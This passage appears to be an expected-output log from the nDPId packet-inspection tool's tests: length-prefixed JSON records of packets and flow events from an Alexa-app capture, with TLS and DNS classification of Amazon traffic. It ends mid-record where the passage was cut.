+00631{"flow_id":61,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":822,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976058,"pkt_ts_usec":222165,"pkt_caplen":210,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":210,"pkt_l4_len":176,"pkt":"ePiC0\/vCAMDKkVoBCABFAADERudAANsGMbs27xi6rBAq2AG7hPl2s2uHPxC6QVAYASypigAAFgMDAGQCAABgAwMZs3HDWQcjLi\/oi9viGukGbi3DlY6+1KsrSoY3LJo\/AyAK8IS3HVgGOc2sZcVp0kAKYJvK21\/4JhIPoGYmpJU7LsAvAAAY\/wEAAQAABQAAABAACwAJCGh0dHAvMS4xFAMDAAEBFgMDACgujMIFuLizeNvWWphRrW50Jm1g6urxRCWPuUnyX4FJGO\/X3CWN\/A28"} +00810{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":822,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":61,"flow_packet_id":7,"flow_first_seen":1490976058103,"flow_last_seen":1490976058222,"flow_tot_l4_data_len":583,"flow_min_l4_data_len":20,"flow_max_l4_data_len":279,"flow_avg_l4_data_len":83,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.42.216","dst_ip":"54.239.24.186","src_port":34041,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.Amazon","breed":"Acceptable","category":"Web"},"tls": {"version":"TLSv1.2","client_requested_server_name":"mobileanalytics.us-east-1.amazonaws.com","ja3":"d551fafc4f40f1dec2bb45980bfa9492","ja3s":"d199ba0af2b08e204c73d6d81a1fd260","unsafe_cipher":0,"cipher":"TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256","alpn":"h2,http\/1.1"}} +00416{"flow_id":61,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":823,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976058,"pkt_ts_usec":222966,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"AMDKkaPvePiC0\/vCCABFAAAo7EJAAEAGJ\/ysECrYNu8YuoT5Abs\/ELpBdrNsI1AQAVslCwAA"} +00485{"flow_id":61,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":824,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976058,"pkt_ts_usec":223571,"pkt_caplen":105,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":105,"pkt_l4_len":71,"pkt":"AMDKkaPvePiC0\/vCCABFAABb7ENAAEAGJ8isECrYNu8YuoT5Abs\/ELpBdrNsI1AYAVsbkQAAFAMDAAEBFgMDACgAAAAAAAAAAEjAJak8GHiloeNJZyA9qdTHhCajzppgOrp5CSsq+FOS"} +02400{"flow_id":61,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":825,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976058,"pkt_ts_usec":234212,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"pkt":"AMDKkaPvePiC0\/vCCABFAAXc7ERAAEAGIkasECrYNu8YuoT5Abs\/ELp0drNsI1AQAVsJAgAAFwMDCxcAAAAAAAAAAUOo8jkWmZvDPu5QHM\/s83uFH6a31ajoUfv2kXR10TXprhqlLcbmZXoaQ0ufa8h9cxPmiU04BDDLCZuXwMaxPMc0AxY3fs29COuAjmzZN6wOJbaka5s0Vc6ql2UYZ\/jsVWsSuM1sWCP3y2VjxmXOvP6\/uhzYvTJ0fvgnsz47U1Z1XJKRoIUf\/fAa3SB1OxGpQld5cEpKhTynDaT89A7jKlcErr7EwaDHl39iMHCx3bZJh1Hm+jmvw7s4bAZlvodOl53mUDMV2lFiOjwJqqV9I60kHGwqoaJjTgQSDIWZ\/ykHmvvE3LB4CZ5udm\/GsbwQbDRNgJbri2vaw5B17Su5M6V1xwTuJ14eFKZ+a8Yu8rIstzyVTILfxFpyApCdIADE2rKQDXPnAASOT2RqY+k+66nw8GLk4Fh1V2zutNnSfYmjqBws1rHKuRvWrJM1gLLPGr6ydMmSchFU1cLD\/LGrZlOWEVtQq\/oeIbU+tEMulxU+hF+nkAkAAu\/\/EKzRhx9gVRxFIAnUB9vwjhn+x5Rzid6lOvEBmnsJ2OLNoj7yWtsYEXlE996TM6P+D8UzVRX9pY6vh5aMbwiKOuNGuwN\/nQSWh1cETNDtOybk\/ibpQXo1xhHCwcyyhBNIAMvrlKxIshrgNWIA2nm9vV4xGaHck5eYF99oWsPTt66MnJNSFjiZ6sdNf+6MtL+d7N+gnNsAOIQ9NkFoL4vHseWxsLsIAYR0YWNoUgpIIkTK8yrIw5Dlrgal2CSiCIXDmv1gK3Xwu6Kr8wH8GPthMk09ducyER2zgDZg0GT7j6LXuD3PAsQIev3J2Uy+zYFcekPmn6DM+GAHW\/IJIO3L+Rjg4jkA1g8w4UvgxL76xUxePHAmbIXEATpds808KvXnlrUGHfWLU7Dph9mjFKejTENeB+dGNdiYRkW4MdmphA0t\/LmtSBzx0AGrkGW96ogFAWfV6JNZePwJ1iZnk8fOuccGIZsOMA14DI\/otE66bjjy5fysly3INezLSgNq4xWf2IbFQbzh2XA3\/AwnyT7RWsUgN5eZmcJSTL2j2FXML5nnNltsUvfU5LDoG+R0v\/baxKW534X9NGGMs4UfGQwHPLXDQt0sYWyz8\/U7ZrHEM9q2Ach7ArPhZbQdDus90wyHozCy8HLzRkHtPc5lTmYNP3UxqWUNVEdxC3y1zRHQn8j+Y1jm1sy\/rSWLI8jhzyyhO67IgIFIZZvGvy981iQyE80ODMZGvFzNk2ViTPVOk1fyDLnwgmUU8JNBTpneIrRfnqFQAwJ0Txd+DNpEOl+P5RGoEqMtYAIf4rsFYuoXIjKrOaaLhMsDHSX3nVM4SN62wCXijxu7RUfH4cRBoOcvTvNNfONxMGXoh3w5Z9X6ITgOEcoaui9kD0Dn8XpB7m84BA\/TbRGBunZD\/wroLGInxDReDzgjlT68sCwUW07h2mL1tV39\/yPbKgCaUkeXUriyIfubbAmRuUUy4J0gbGfzdLy2f+y14kKW0kP1\/7zxJiyc1rEjmee7zugB9S\/5NJkYKBwm202EcDg\/JhEO0J9uggHD1KUvmTfJ9q8rO6GiGYUkT8kM7Xp3V3S8RDhI3nnX6czfpV6wQUwsW0jQ3s0avZVBVTX\/51mFecnKGSMOvToPA02k+4yem53PrTCQ2vNA2rpn3TNXKjrFIPnlSeQeszA2g1cPWDrnKP9xP5WXX004IUngMLAmI8ecaWi8FxCiSqTpS7xt7jd0YJ1ESDoYu6DNs5L+d1Nd10hYuq5VaVHEMnY3UFBRE10RKzggEPSgH\/HoGXUk\/YEXQOSaABKc3nJy0DRb0hVYEzU1nlrBhlAOGsyDmxp+P2nQ\/4FGEuo9L8UDR8AOYis6xGKHINpkmysCF5eFY4GA9yEsr+etnCRsFHa1\/hUA+eX5ccvdV1v8VqbPT0aq1aJsNSf0qpY="} +02313{"flow_id":61,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":826,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976058,"pkt_ts_usec":236859,"pkt_caplen":1438,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1438,"pkt_l4_len":1404,"pkt":"AMDKkaPvePiC0\/vCCABFAAWQ7EVAAEAGIpGsECrYNu8YuoT5Abs\/EMAodrNsI1AYAVtMGQAAZyxQKBcZBKYidQhhWlhDFrVl8C4Y+X4++EUF4L9fGRCFCtWoQN3CFATpYaBsCcTxRMa\/fbMT9f5Ns5ICV0oC48COByQQKVQUYkC5ULoXiz4G5felXskxyfBOeqc\/P\/XmX6H115C0HnpFu+XH+cK74hXQnlZREtQUXJ0wnyxfbQVJkGiZqTn5jzcShJi9MsJTE2LLzownLDl6kqqVXOxZ6fOhfVxLV\/abkQH2t6orTuZGy\/p3\/ZoRzVRT6U1yhH2CxtnZI+joRkesdTXgnE4fVe8JnxbmIRtqJA0o3d3sWMTnKMPYv9q+gOAHawC3Xy5te\/py0Udb7a\/GAUm+QfU5A1vc86QsH2fZh5W2gEZvAJvGV+KiD\/1n2zJ2FA6TqKRgMcvYvNZ5irUOefo8PtBrRm1MfcUaMr2TlxGp7oU18arxeOFTmXRNXatKjCvNe3+9qf47yMExQPwdZmI3bIBgyFq41ljeM+fMqBEnTJzJPV5h\/nZ4MrM5AENA3jxPJTJF\/pljVGwO0xqiNS1dc8MLu2\/6WUKolA+K5p\/ap+aIo3oBj8pnx+NwlgyZ6lH3KtfqVFeF1nD7khDXA7PDa4n1G5QScdK146up14HnKvsSC8E\/y\/L\/HIDT0o4NGWmC1qpKqoO89tWDqEELZ0uogZDv6n6c+WHJZIwN7wn\/xBF+Uike8fkBATwbdBZvNymR0kCoK\/QuH4s2Iitg67GvSiVbJqFe7Ls2wCp\/QNmyNu15OTFKtzitFS5lpGNlpp2e4ggEhOEmSKSjdo1IYfPAmhO4mqfLNsWRkYWRcf\/7mOtx8GarIU6LTTALLtaSXpf3P7f+22G2Wohm4Dxm0ffLb8P7Hdlf6m3Zk7xb\/lFo8N5+VuFl61us+BFE5N0aVIO0s+n+oyX6NXz8BQ5GCa1xM+OOj\/FEVXWA4KEUruPXH178\/RnrJ+AMuS\/ZQ7YdfvYLse3VPnc5LKJ5lLxhgrjn4IdB6RJCSRq3fpbN6c64kkuGRJcmK\/3NwcvO837ZP\/x5BiiTIfBv354ygnmPeYRQ+mG4nWuKnDhZndHctavSAFDch0Cda2rePXI+c\/rKhgDxl+zxZKvcggO515tMpH5ENrAXz74d+I4RmnN8PuFyU6vV0dEW37OHOfC5eR5m6Y\/eKQgTeySqFZYZtdvqY9paR4TRHqJWiSxBa7samNmniHZzdM63rr1AkGai2pgWEsGnE8bDUZS4kcu\/LgWeFwVkouPc22\/JsLUq8eLuu\/7KUrunOrsacCEBix4ZxBW8ltCBn4Ur+P2rOhHelUg9kCmqTC++gpXcLORPqknug0x4K\/vi8ujrAyvyKKMUHz0HKRK0qRyMnoqxC3IQr\/LBiiZUbFZ8VvowECwS2ZeLegjafdSdD8kslnNImEIxpDafhZwMl\/1nFe41x\/XxAJaBmB+UTnEZPUHss01y9nTNrvUZPrUdbm\/YaQLmBF\/PSRkrzMQFaIKpKR1\/YCylPwFrJE\/YtyACU3x0HIf0C207eez+B7QKPc7Lk5cyfdC3iy3wRoWUTyJcqmguQiqFsfzcMsbOoXWvDLgAi4V5pdJ8BL2ZDRU1h9gQEwv2xinSNPIGPTE54xkdy3KE5QxA+vlDjRFwM2coIMPKZsOgOztfzZjILo1K3iZ0vZKcusxrU1H5g0JGfBdRaCIjCLdCMRmkbpzX\/3B6SRQ\/6ztCg2QGTe1Lt7lMsDDGbu\/Oa9vs2O4aTJDrhlHBvN0AASHN+O1NMpnzapxI5VqHHpMeZSpbyvdS4eup5WeyRCh9qSObMvDkKIk96P5eag4aKDm+IwPrYaggftlil\/H+vVoq3OzpxTir4gOcpdjMi3rrzuemxA=="} +01780{"flow_id":61,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":827,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976058,"pkt_ts_usec":237158,"pkt_caplen":1058,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1058,"pkt_l4_len":1024,"pkt":"AMDKkaPvePiC0\/vCCABFAAQU7EZAAEAGJAysECrYNu8YuoT5Abs\/EMWQdrNsI1AYAVvNcwAAFwMDA+cAAAAAAAAAAuH4rb9WAYu03v2cmPkoqV4lqX3BdOkW3cOZfgiXGi4\/gs4oNyzk6j5fm4IEVzuQmanLj532sPtjLAMXcV1aK7\/qryi00hm2ENYY41JCbTEIyIyVkcRNZuMpDefgMXbGjsKYLzT2CSTGdVLtWWMTUjvKTppO\/e64ZWs8JwELuLPKfHyD6R7uJrF6wcvyBztK1jnmE4xpHu9QFlF8jReT\/1nQhnE9P0ofXq8FUvHtIZslz3ilAYMXeg4d59MBw2D4x3TLugruuFS9xkXedzRQsxjkyVg8Jx7Gv3i97Gempn\/9IJvES+qvUqPcY6RUHtWdfY8KZVw8M1s2bHZ9+Ztcg6pSP1pjDS4E5iWFlsCKY3F9w0s5Q\/ekywZGgMYoKdDXrJ50fXWyGHiAcE7XuvI8sGdyHh5gKKosqQnoVYUDZ4uCd2XlIaYx27471bMOt3hzo6ykJQ++cZESnPvfIb8N9NlGBaTwdeepT0DNCYZ7kQil9vjEshCD+fWOBZVhU0vl1nFHyE\/gtSpPvjRlot0SRR5naVvA34XkPxthGofD6Ty\/oSJDII6PDb5azB7IokS4MfgQL\/3wgaZKLzJgZ9ZsNNj6aFX7\/AXcPm1W0QeEZLtj7va7cyJoBnbxzQf\/VCMEp5kx0kz4I77dgWzkv7eL4sxhXGTVfckx6yZjXzuteK38BVGk0tfR5o9xrw6hjd4+D5wU2\/qik8iHYwwyF0qR0rCNuEZmbTOkT8Ra5VcS73HxjTOAC9brojdJ+9FQ+0FKevgALZU1KKa+F3leKtS0qldeNg\/vcOvLrd1WbfZro9JQuxrXGUPiHzFiUcB7OYWPtoxzNDJaHqy8fF5XOiqI5hCEfZWgJnBtHPa8FW4undYa4UdIh5nP2X+0zhO014UpBMxEBG0ztf0yPLJCcFDqy5KiWgFnEaJjOmtK3Z92WZc\/5a1cAIiWz6uGgYR9IFXuEDt3AoWFVBDWlYazInvEc0ukQA9KBwePpwLGdOZ80PDKl7h36Eo4X4COg9puA3uljX7Jb3Ep2aG2xQP78v8KMlQm047qxP6p72+OB3mWHsIryOhvIQQqvxsL3TIGq01QsOts\/FXUoCJ3a5NYSMpdkYSzsUr6SGp39k92KRGDFPo6WNHvLeXmSJUofppL76IX6OvDYNPWIr4PyFoqPCnL2\/IKpJjB9d9y4qNnlVN8XdXQRq+uR9IXZtX4lwEcQ2ztel4xJzGYh2nVtaZWWeD8WsDYdGR3Xw3dy4hcBhEMfcR+FkMlVp2oQoKC3NGgWt97\/i7lYASmcFCn1A9MNCQpFYGn5+vgEBY\/XcSkHw36Sx8="} +00423{"flow_id":60,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":828,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976058,"pkt_ts_usec":249826,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"ePiC0\/vCAMDKkVoBCABFAAAo7d9AAOcGsiI0XuiGrBAq2AG7snh1d22C8A8HUVAQf9etoQAAAAAAAAAA"} +00423{"flow_id":61,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":831,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976058,"pkt_ts_usec":295498,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"ePiC0\/vCAMDKkVoBCABFAAAoRuhAANsGMlY27xi6rBAq2AG7hPl2s2wjPxDAKFAQAVgfJwAAAAAAAAAA"} +00423{"flow_id":61,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":832,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976058,"pkt_ts_usec":295971,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"ePiC0\/vCAMDKkVoBCABFAAAoRulAANsGMlU27xi6rBAq2AG7hPl2s2wjPxDJfFAQAbQVdwAAAAAAAAAA"} +00954{"flow_id":61,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":833,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976058,"pkt_ts_usec":310272,"pkt_caplen":449,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":449,"pkt_l4_len":415,"pkt":"ePiC0\/vCAMDKkVoBCABFAAGzRupAANsGMMk27xi6rBAq2AG7hPl2s2wjPxDJfFAYAbRfGQAAFwMDAYYujMIFuLizeQ4nSXSVL9qZytKOfIpxYUUDGWDQawdyHZKqojphbkEb9ji3V36Ni3FzDQ6ZI5H\/LQFzlV2XIx1aKRAsDd3VNAuoijGL9SXN+BdtCE1TPVcNRsmt9OTPDXh4iITtxYbu0h0C\/OYuwvc49zNSfZCFOPjriu481PcjMBbBKmH2uL4Z09IYZyBxKqWtG7tXjsZdTBFRX8P7PmIii8XphTVdZVKjSTxpAp2G4aMbegiSPo1tZg3CdNZxxewHpUfFmVoc1uScxZCzFlTFtSdfSWMn\/iXZOWx1ti18G0RDXlVt94vfvi++W8LysqmWxssCzq8pZpLkUZNrXu+nXB6mTNLl4Ch4KG7RJIyhguDJv2vUrEO6CP7+wplPfyD00RxHpMugImElKQNBo+Qkt0WE\/D0QCJBzIYhcTcDqNkS3AJT+\/xF\/Ruq\/pS8zt94EyxkKvYil37VacwvRDQU39nnVa32G3eeZC6WuoTXBw+FFgM2BYb9LQu6OP80LYUCiCnlvN\/M="} +00431{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":842,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":59,"flow_packet_id":1,"flow_first_seen":1490976055356,"flow_last_seen":0,"flow_tot_l4_data_len":8,"flow_min_l4_data_len":8,"flow_max_l4_data_len":8,"flow_avg_l4_data_len":8,"midstream":0,"l3_proto":"ip4","src_ip":"0.0.0.0","dst_ip":"224.0.0.1","l4_proto":2,"flow_datalink":1,"flow_max_packets":15} +00480{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":843,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":62,"flow_packet_id":1,"flow_first_seen":1490976064328,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.42.216","dst_ip":"72.21.206.135","src_port":42148,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00444{"flow_id":62,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":843,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976064,"pkt_ts_usec":328375,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMDKkaPvePiC0\/vCCABFAAA88S5AAEAGXAisECrYSBXOh6SkAbuyb6ZBAAAAAKAC\/\/8DBAAAAgQFtAQCCAoA9ldvAAAAAAEDAwg="} +00477{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":846,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":63,"flow_packet_id":1,"flow_first_seen":1490976064333,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.42.216","dst_ip":"172.16.42.1","src_port":44475,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00442{"flow_id":63,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":846,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976064,"pkt_ts_usec":333083,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMDKkaPvePiC0\/vCCABFAAA8WldAAEARM2CsECrYrBAqAa27ADUAKN4THgkBAAABAAAAAAAAA3d3dwZhbWF6b24DY29tAAABAAE="} +00641{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":846,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":63,"flow_packet_id":1,"flow_first_seen":1490976064333,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.42.216","dst_ip":"172.16.42.1","src_port":44475,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS.Amazon","breed":"Acceptable","category":"Web"},"dns": {"query":"www.amazon.com","num_queries":0,"num_answers":0,"reply_code":0,"query_type":1,"rsp_type":0,"rsp_addr":"0.0.0.0"}} +00427{"flow_id":62,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":847,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976064,"pkt_ts_usec":389062,"pkt_caplen":62,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":62,"pkt_l4_len":28,"pkt":"ePiC0\/vCAMDKkVoBCABFAAAwkwRAAOcGEz5IFc6HrBAq2AG7pKSpsxlXsm+mQnASH\/60aQAAAgQFtAEDAwY="} +00414{"flow_id":62,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":848,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976064,"pkt_ts_usec":390589,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"AMDKkaPvePiC0\/vCCABFAAAo8S9AAEAGXBusECrYSBXOh6SkAbuyb6ZCqbMZWFAQAVf+2gAA"} +00735{"flow_id":62,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":849,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976064,"pkt_ts_usec":392195,"pkt_caplen":291,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":291,"pkt_l4_len":257,"pkt":"AMDKkaPvePiC0\/vCCABFAAEV8TBAAEAGWy2sECrYSBXOh6SkAbuyb6ZCqbMZWFAYAVfKsgAAFgMBAOgBAADkAwP+0zyDGxXotNTaK9PKSDUhNTk9mpydrcn7is4FWWWLVSCAoIhp+G+13yEt\/a9wFbgYbBGSpt6bYu8wE9XD90462wAg+vrMqcyozBTME8ArwC\/ALMAwwBPAFACcAJ0ALwA1AAoBAAB7OjoAAP8BAAEAAAAAFgAUAAARZmxzLW5hLmFtYXpvbi5jb20AFwAAACMAAAANABQAEgQDCAQEAQUDCAUFAQgGBgECAQAFAAUBAAAAAAASAAAAEAAOAAwCaDIIaHR0cC8xLjEACwACAQAACgAKAAja2gAdABcAGIqKAAEA"} +00734{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":849,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":62,"flow_packet_id":4,"flow_first_seen":1490976064328,"flow_last_seen":1490976064392,"flow_tot_l4_data_len":345,"flow_min_l4_data_len":20,"flow_max_l4_data_len":257,"flow_avg_l4_data_len":86,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.42.216","dst_ip":"72.21.206.135","src_port":42148,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.Amazon","breed":"Acceptable","category":"Web"},"tls": {"version":"TLSv1.2","client_requested_server_name":"fls-na.amazon.com","ja3":"d551fafc4f40f1dec2bb45980bfa9492","ja3s":"","unsafe_cipher":0,"cipher":"TLS_NULL_WITH_NULL_NULL","alpn":"h2,http\/1.1"}} +00617{"flow_id":63,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":850,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976064,"pkt_ts_usec":448088,"pkt_caplen":203,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":203,"pkt_l4_len":169,"pkt":"ePiC0\/vCAMDKkaPvCABFAAC91iFAAEARtxSsECoBrBAq2AA1rbsAqQ1IHgmBgAABAAYAAAAAA3d3dwZhbWF6b24DY29tAAABAAHADAAFAAEAAABFAAoDd3d3A2NkbsAQwCwABQABAAAAAwAfDmQzYWc0aHVra2g2MnluCmNsb3VkZnJvbnQDbmV0AMBCAAEAAQAAAAEABDRV0djAQgABAAEAAAABAAQ0VdHFwEIAAQABAAAAAQAENFXRj8BCAAEAAQAAAAEABDRV0Xo="} +00670{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":850,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":63,"flow_packet_id":2,"flow_first_seen":1490976064333,"flow_last_seen":1490976064448,"flow_tot_l4_data_len":209,"flow_min_l4_data_len":40,"flow_max_l4_data_len":169,"flow_avg_l4_data_len":104,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.42.216","dst_ip":"172.16.42.1","src_port":44475,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS.Amazon","breed":"Acceptable","category":"Web"},"dns": {"query":"www.amazon.com","num_queries":1,"num_answers":6,"reply_code":0,"query_type":1,"rsp_type":1,"rsp_addr":"52.85.209.216"}} +00480{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":851,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":64,"flow_packet_id":1,"flow_first_seen":1490976064452,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.42.216","dst_ip":"52.85.209.216","src_port":54434,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00444{"flow_id":64,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":851,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976064,"pkt_ts_usec":452332,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMDKkaPvePiC0\/vCCABFAAA8L2dAAEAGLj+sECrYNFXR2NSiAbtfxHgaAAAAAKAC\/\/9kOQAAAgQFtAQCCAoA9ld9AAAAAAEDAwg="} +00424{"flow_id":62,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":852,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976064,"pkt_ts_usec":454232,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"ePiC0\/vCAMDKkVoBCABFAAAolxlAAOcGDzFIFc6HrBAq2AG7pKSpsxlYsm+nL1AQf\/x\/SAAAAAAAAAAA"} +00424{"flow_id":62,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":853,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976064,"pkt_ts_usec":454364,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"ePiC0\/vCAMDKkVoBCABFAAAoLF5AAN0Gg+xIFc6HrBAq2AG7pKSpsxlYsm+nL1AQf\/x\/SAAAAAAAAAAA"} +00629{"flow_id":62,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":854,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976064,"pkt_ts_usec":454409,"pkt_caplen":210,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":210,"pkt_l4_len":176,"pkt":"ePiC0\/vCAMDKkVoBCABFAADELF9AAN0Gg09IFc6HrBAq2AG7pKSpsxlYsm+nL1AYf\/yKfgAAFgMDAGQCAABgAwNZFVbZSvcTSV314tlSgSgSDpPxNEQHey5Fv+zjXifiHSCAoIhp+G+13yEt\/a9wFbgYbBGSpt6bYu8wE9XD904628AvAAAY\/wEAAQAABQAAABAACwAJCGh0dHAvMS4xFAMDAAEBFgMDACjJS+BuJgZgFs99o+swdQt1fNrwpVdOGOEnGVQVhhE\/DUpgB386MGo1"} +00788{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":854,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":62,"flow_packet_id":7,"flow_first_seen":1490976064328,"flow_last_seen":1490976064454,"flow_tot_l4_data_len":561,"flow_min_l4_data_len":20,"flow_max_l4_data_len":257,"flow_avg_l4_data_len":80,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.42.216","dst_ip":"72.21.206.135","src_port":42148,"dst_port":443,"l4_proto":"tcp","ndpi": 